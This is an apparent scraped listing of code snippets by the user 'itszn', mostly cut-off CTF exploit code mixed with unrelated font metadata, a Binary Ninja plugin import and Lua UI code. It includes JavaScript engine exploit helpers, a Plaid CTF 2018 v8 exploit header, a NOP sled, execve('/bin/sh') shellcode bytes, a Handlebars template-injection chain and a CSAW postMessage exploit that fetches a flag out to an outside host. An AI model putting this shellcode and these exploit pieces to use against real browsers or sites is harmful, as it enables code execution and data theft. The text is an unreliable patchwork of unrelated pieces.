itszn

[
  {
    "name": "ABeeZee",
    "desc": "Clean, modern, rounded, neutral sans-serif font. Geometric and minimalist letterforms with wide apertures and consistent stroke widths. Tags: web design, mobile apps, user interface, modern, minimal, friendly, approachable, tech, startup, blog",
    "metadata": {
      "family": "ABeeZee",
      "displayName": null,
      "category": "Sans Serif",
      "stroke": "Sans Serif",
      "classifications": [],

itszn

// Load Int library, thanks saelo!
load('util.js');
load('int64.js');


// Helpers to convert from float to in a few random places
var conva = new ArrayBuffer(8);
var convf = new Float64Array(conva);
var convi = new Uint32Array(conva);
var convi8 = new Uint8Array(conva);

itszn

/*
 * This exploit is targeting linux, tested on ubuntu 18.04
 * Techniques should generally work on other OSs but I don't have any to test easily
 */
// Debugging functions
if (this.debug === undefined)
  this.debug = ()=>{}
if (this.cc === undefined)
  this.cc = ()=>{}

itszn

//First we want to create an array
{{#with "a" as |str|}}
{{#with split as |list|}}

//Store some function that returns a truthy value into the array
//We use arrays to hold functions because handlebars will call functions
{{this.pop}}
{{this.push this.toString}}
{{this.pop}}

itszn

from binaryninja import (Architecture, RegisterInfo, InstructionInfo,
    InstructionTextToken, InstructionTextTokenType, InstructionTextTokenContext,
    BranchType,
    LowLevelILOperation, LLIL_TEMP,
    LowLevelILLabel,
    FlagRole,
    LowLevelILFlagCondition,
    log_error,
    CallingConvention,
    interaction,

itszn

<script>
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }

var sc = [];
for (var i=0; i<0x480; i++) {
    sc.push(0x90);
}
//sc.push(0xcc);
//sc.push(0xeb);
//sc.push(0xfe);

itszn

let sc = [106,104,72,184,47,98,105,110,47,47,47,115,80,72,137,231,104,114,105,1,1,129,52,36,1,1,1,1,49,246,86,106,8,94,72,1,230,86,72,137,230,49,210,106,59,88,15,5];

let conva = new ArrayBuffer(8)
let convi = new Uint32Array(conva);
let convf = new Float64Array(conva);

function i2f(i) {
  convi[0] = i%0x100000000;
  convi[1] = i/0x100000000;
  return convf[0];

itszn

/* Plaid CTF 2018 v8 Exploit. Exploit begins around line 240 */


/* ### Utils, thanks saelo ### */ 

//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//

itszn

-- TODO: move util functions to common.lua
local charts = {}
local passed = false

local desw = 770
local desh = 800

local moveX = 0
local moveY = 0

itszn

<iframe src="http://crackme.web.chal.csaw.io/" id="a"></iframe>
<script>
let i=0;
window.addEventListener("message", function(event) { 
  msg = event.data;
  console.log("attacker got ",msg);
  if (msg.id == 0) {
    a.contentWindow.postMessage({type:'run', id: i++, from:'page'},'*');
  } else if (msg.id == 1) {
    fetch("http://itszn.com/?flag="+msg.output);